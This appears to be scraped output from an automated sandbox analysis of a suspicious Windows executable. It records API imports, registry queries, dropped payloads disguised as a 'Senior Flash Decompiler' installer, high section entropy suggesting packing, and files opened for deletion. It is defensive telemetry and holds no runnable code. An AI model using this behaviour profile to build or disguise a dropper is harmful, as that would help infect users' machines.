(Indicator: "EqualSid"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "SetFileSecurityW" (Indicator: "SetFileSecurityW"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp")77:T712,Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.056A4000.00000004.mdmp, 00000000-00001560.00000000.171932.05730000.00000004.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.056A4000.00000004.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.056A4000.00000004.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004644.00000000.172374.00409000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004644.00000000.172374.00409000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004644.00000000.172374.00409000.00000002.mdmp")78:T7e0,Observed import api "GetPrivateObjectSecurity" which can "retrieve information from a private object's security descriptor" [Source: 288c47bbc1871b439df19ff4df68f076.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: is-KQJQP.tmp] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: is-KQJQP.tmp] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: is-KQJQP.tmp] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: is-KQJQP.tmp] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: is-KQJQP.tmp] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: april.tmp] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: april.tmp] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: april.tmp] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: april.tmp] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: april.tmp] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: _setup64.tmp] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: _setup64.tmp] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: _setup64.tmp]79:Td61,"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\INSTALLSETUP_FOUR.EXE"; Value: "") "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\EASYAPPNS.EXE"; Value: "") "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\288C47BBC1871B439DF19FF4DF68F076.EXE"; Value: "") "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\APRIL.EXE"; Value: "") "InstallSetup_four.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "InstallSetup_four.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "InstallSetup_four.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "InstallSetup_four.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "InstallSetup_four.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES"; Value: "") "InstallSetup_four.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "InstallSetup_four.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "InstallSetup_four.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "InstallSetup_four.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "InstallSetup_four.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "InstallSetup_four.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "InstallSetup_four.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "")7a:T5c7,Found reference to API "OpenMutexW" (Indicator: "OpenMutex"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "CreateMutexW" (Indicator: "CreateMutex"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "CreateMutex" (Indicator: "CreateMutex"; File: "00000000-00007668.00000000.172116.00401000.00000020.mdmp") Found reference to API "ReleaseMutex" (Indicator: "ReleaseMutex"; File: "00000000-00007668.00000000.172116.00401000.00000020.mdmp") Found reference to API "OpenMutexA" (Indicator: "OpenMutex"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "CreateMutexA" (Indicator: "CreateMutex"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "ReleaseMutex" (Indicator: "ReleaseMutex"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "OpenMutexW" (Indicator: "OpenMutex"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "CreateMutexExW" (Indicator: "CreateMutex"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "CreateMutexW" (Indicator: "CreateMutex"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "OpenMutexW" (Indicator: "OpenMutex"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp")7b:T4b4,"288c47bbc1871b439df19ff4df68f076.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%TEMP%\288c47bbc1871b439df19ff4df68f076.exe]- [targetUID: 00000000-00007560] "EasyAppns.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 6 sections"- Location: [%TEMP%\EasyAppns.exe]- [targetUID: 00000000-00001560] "InstallSetup_four.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%TEMP%\InstallSetup_four.exe]- [targetUID: 00000000-00008076] "_iscrypt.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 3 sections"- Location: [%TEMP%\is-C8LOF.tmp\_isetup\_iscrypt.dll]- [targetUID: 00000000-00007668] "april.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows 8 sections"- Location: [%TEMP%\is-T5UCC.tmp\april.tmp]- [targetUID: 00000000-00007680] "_setup64.tmp" has type "PE32+ executable (console) x86-64 for MS Windows 5 sections"- Location: [%TEMP%\is-C8LOF.tmp\_isetup\_setup64.tmp]- [targetUID: 00000000-00007668] "_RegDLL.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows 3 sections"- Location: [%TEMP%\is-C8LOF.tmp\_isetup\_RegDLL.tmp]- [targetUID: 00000000-00007668]7c:T498,Dropped file: "flashdecompiler32.exe" - Location: [%LOCALAPPDATA%\Senior Flash Decompiler\flashdecompiler32.exe]- [targetUID: 00000000-00007668] Dropped file: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe.log" - Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe.log]- [targetUID: 00000000-00005760] Dropped file: "is-KQJQP.tmp" - Location: [%LOCALAPPDATA%\Senior Flash Decompiler\is-KQJQP.tmp]- [targetUID: 00000000-00007668] Dropped file: "is-85VUO.tmp" - Location: [%LOCALAPPDATA%\Senior Flash Decompiler\is-85VUO.tmp]- [targetUID: 00000000-00007668] Dropped file: "is-IRLGV.tmp" - Location: [%LOCALAPPDATA%\Senior Flash Decompiler\is-IRLGV.tmp]- [targetUID: 00000000-00007668] Dropped file: "is-UM722.tmp" - Location: [%LOCALAPPDATA%\Senior Flash Decompiler\is-UM722.tmp]- [targetUID: 00000000-00007668] Dropped file: "is-AB0VE.tmp" - Location: [%LOCALAPPDATA%\Senior Flash Decompiler\is-AB0VE.tmp]- [targetUID: 00000000-00007668] Dropped file: "is-D54J2.tmp" - Location: [%LOCALAPPDATA%\Senior Flash Decompiler\is-D54J2.tmp]- [targetUID: 00000000-00007668]7d:T4e6,"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "InstallSetup_four.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "288c47bbc1871b439df19ff4df68f076.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "EasyAppns.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "EasyAppns.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "april.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "april.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "april.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "flashdecompiler32.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "EasyApp.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK")7e:T790,"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3" has section name .text with entropy "7.970301500254763" "288c47bbc1871b439df19ff4df68f076.exe" has section name .text with entropy "6.644231098988989" "288c47bbc1871b439df19ff4df68f076.exe" has section name .rdata with entropy "7.991861365084636" "april.exe" has section name CODE with entropy "6.529731839731562" "flashdecompiler32.exe" has section name .text with entropy "7.708219389772826" "flashdecompiler32.exe" has section name .pump9 with entropy "6.329090966661077" "EasyAppns.exe" has section name .text with entropy "6.708390817791953" "EasyAppns.exe" has section name .rsrc with entropy "6.638693022127744" "EasyAppns.exe" has section name .reloc with entropy "6.6660836278877325" "InstallSetup_four.exe" has section name .text with entropy "6.526363752454852" "InstallSetup_four.exe" has section name .rdata with entropy "7.507069399752285" "EasyApp.exe" has section name .text with entropy "6.528573709143796" "EasyApp.exe" has section name .rdata with entropy "7.306800781250446" "is-KQJQP.tmp" has section name CODE with entropy "6.585461057236145" "april.tmp" has section name CODE with entropy "6.585461057236145" "is-85VUO.tmp" has section name .text with entropy "6.363309123293513" "is-85VUO.tmp" has section name .rdata with entropy "6.321783783739957" "is-85VUO.tmp" has section name .reloc with entropy "6.238614200874246" "is-IRLGV.tmp" has section name .text with entropy "6.137841432918703" "is-IRLGV.tmp" has section name .reloc with entropy "6.00307747225718" "is-UM722.tmp" has section name .text with entropy "6.200290082933474" "is-AB0VE.tmp" has section name .text with entropy "6.107452313618187" "is-AB0VE.tmp" has section name .reloc with entropy "6.579055940034062" "is-D54J2.tmp" has section name .text with entropy "6.222276876778553" "is-D54J2.tmp" has section name .rdata with entropy "7.676377896599649"7f:T987,"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini" "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" reads file "C:\Users\%OSUSER%\Saved Games\desktop.ini" "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" reads file "C:\Users\desktop.ini" "EasyAppns.exe" reads file "C:\Windows\win.ini" "EasyAppns.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "EasyAppns.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "EasyAppns.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "EasyAppns.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "EasyAppns.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "EasyAppns.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "EasyAppns.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "april.tmp" reads file "C:\Users\desktop.ini" "april.tmp" reads file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini" "april.tmp" reads file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini" "april.tmp" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini"80:Tb9e,"288c47bbc1871b439df19ff4df68f076.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%TEMP%\288c47bbc1871b439df19ff4df68f076.exe]- [targetUID: 00000000-00007560] "april.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 8 sections"- [targetUID: 00000000-00007680] "flashdecompiler32.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%LOCALAPPDATA%\Senior Flash Decompiler\flashdecompiler32.exe]- [targetUID: 00000000-00007668] "EasyAppns.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 6 sections"- Location: [%TEMP%\EasyAppns.exe]- [targetUID: 00000000-00001560] "InstallSetup_four.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%TEMP%\InstallSetup_four.exe]- [targetUID: 00000000-00008076] "EasyApp.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%PUBLIC%\Music\EasyApp.exe]- [targetUID: 00000000-00001560] "_iscrypt.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 3 sections"- Location: [%TEMP%\is-C8LOF.tmp\_isetup\_iscrypt.dll]- [targetUID: 00000000-00007668] "is-KQJQP.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows 8 sections"- Location: [%LOCALAPPDATA%\Senior Flash Decompiler\is-KQJQP.tmp]- [targetUID: 00000000-00007668] "april.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows 8 sections"- Location: [%TEMP%\is-T5UCC.tmp\april.tmp]- [targetUID: 00000000-00007680] "is-85VUO.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\Senior Flash Decompiler\is-85VUO.tmp]- [targetUID: 00000000-00007668] "is-IRLGV.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\Senior Flash Decompiler\is-IRLGV.tmp]- [targetUID: 00000000-00007668] "is-UM722.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\Senior Flash Decompiler\is-UM722.tmp]- [targetUID: 00000000-00007668] "is-AB0VE.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 11 sections"- Location: [%LOCALAPPDATA%\Senior Flash Decompiler\is-AB0VE.tmp]- [targetUID: 00000000-00007668] "is-D54J2.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\Senior Flash Decompiler\is-D54J2.tmp]- [targetUID: 00000000-00007668] "_setup64.tmp" has type "PE32+ executable (console) x86-64 for MS Windows 5 sections"- Location: [%TEMP%\is-C8LOF.tmp\_isetup\_setup64.tmp]- [targetUID: 00000000-00007668] "_RegDLL.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows 3 sections"- Location: [%TEMP%\is-C8LOF.tmp\_isetup\_RegDLL.tmp]- [targetUID: 00000000-00007668]81:T1094,"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" wrote 20480 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\InstallSetup_four.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" wrote 38280 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" wrote 28836 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\EasyAppns.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000180100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" wrote 10188 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\april.exe": 4d5a50000200000004000f00ffff0000ff0000000000000040001a00000000000000000000000000000000000000000000000000000000000000000000010000ff10000e1fff09ff21ff014cff21ffff546869732070726f6772616d206d7573742062652072756e20756e6465722057696e33320d0a24370000000000000000 ... "april.exe" wrote 38400 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-T5UCC.tmp\april.tmp": 4d5a50000200000004000f00ffff0000ff0000000000000040001a00000000000000000000000000000000000000000000000000000000000000000000010000ff10000e1fff09ff21ff014cff21ffff546869732070726f6772616d206d7573742062652072756e20756e6465722057696e33320d0a24370000000000000000 ... "april.tmp" wrote 4096 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-C8LOF.tmp\_isetup\_RegDLL.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "april.tmp" wrote 6144 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-C8LOF.tmp\_isetup\_setup64.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "april.tmp" wrote 23312 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-C8LOF.tmp\_isetup\_shfoldr.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "april.tmp" wrote 2560 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-C8LOF.tmp\_isetup\_iscrypt.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "april.tmp" wrote 40974 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Senior Flash Decompiler\is-D54J2.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...82:T4af,"EasyAppns.exe" opened "C:\Users\Public\Music\__tmp_rar_sfx_access_check_909019078" with delete access "april.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\is-T5UCC.tmp\april.tmp" with delete access "april.tmp" opened "C:\Users\%OSUSER%\AppData\Local\Senior Flash Decompiler\is-KQJQP.tmp" with delete access "april.tmp" opened "C:\Users\%OSUSER%\AppData\Local\Senior Flash Decompiler\is-E1QGJ.tmp" with delete access "april.tmp" opened "C:\Users\%OSUSER%\AppData\Local\Senior Flash Decompiler\libgcc_s_dw2-1.dll" with delete access "april.tmp" opened "C:\Users\%OSUSER%\AppData\Local\Senior Flash Decompiler\is-IRLGV.tmp" with delete access "april.tmp" opened "C:\Users\%OSUSER%\AppData\Local\Senior Flash Decompiler\is-D54J2.tmp" with delete access "april.tmp" opened "C:\Users\%OSUSER%\AppData\Local\Senior Flash Decompiler\is-85VUO.tmp" with delete access "april.tmp" opened "C:\Users\%OSUSER%\AppData\Local\Senior Flash Decompiler\is-AB0VE.tmp" with delete access "april.tmp" opened "C:\Users\%OSUSER%\AppData\Local\Senior Flash Decompiler\is-UM722.tmp" with delete access "april.tmp" opened "C:\Users\%OSUSER%\AppData\Local\Senior Flash Decompiler\is-8FIBH.tmp" with delete access83:T5a8,WriteFile GetFileAttributesA TerminateProcess CreateFileW LoadLibraryW GetStartupInfoW GetTickCount UnhandledExceptionFilter LoadLibraryA Sleep IsDebuggerPresent GetProcAddress GetModuleHandleW GetModuleFileNameW GetModuleFileNameA ConnectNamedPipe GetCommandLineA OpenProcessToken RegOpenKeyExA RegCloseKey FindResourceA VirtualAlloc CreateFileA CreateDirectoryA GetFileSize DeleteFileA GetSystemInfo GetVersionExA CreateProcessA LockResource VirtualProtect GetModuleHandleA RegDeleteKeyW RegEnumKeyExW RegDeleteValueW RegOpenKeyExW RegCreateKeyExW CreateToolhelp32Snapshot GetTempPathW GetStartupInfoA FindResourceW FindFirstFileW CreateProcessW OpenProcess CreateDirectoryW OutputDebugStringW Process32FirstW GetVersionExW FindNextFileW DeleteFileW LoadLibraryExW Process32NextW EnumPrintersW CreateFileMappingW MapViewOfFile FindNextFileA GetFileAttributesW GetModuleHandleExW FindFirstFileExA OpenFileMappingW LoadLibraryExA GetSystemDirectoryW GetCommandLineW CreateThread DeviceIoControl RegDeleteKeyA RegCreateKeyExA GetUserNameA RegDeleteValueA RegEnumKeyExA GetComputerNameA GetSystemDirectoryA CreateFileMappingA GetLogicalDrives FindFirstFileA CopyFileA GetDriveTypeA WNetOpenEnumA ShellExecuteExA ShellExecuteA FindWindowA GetCursorPos 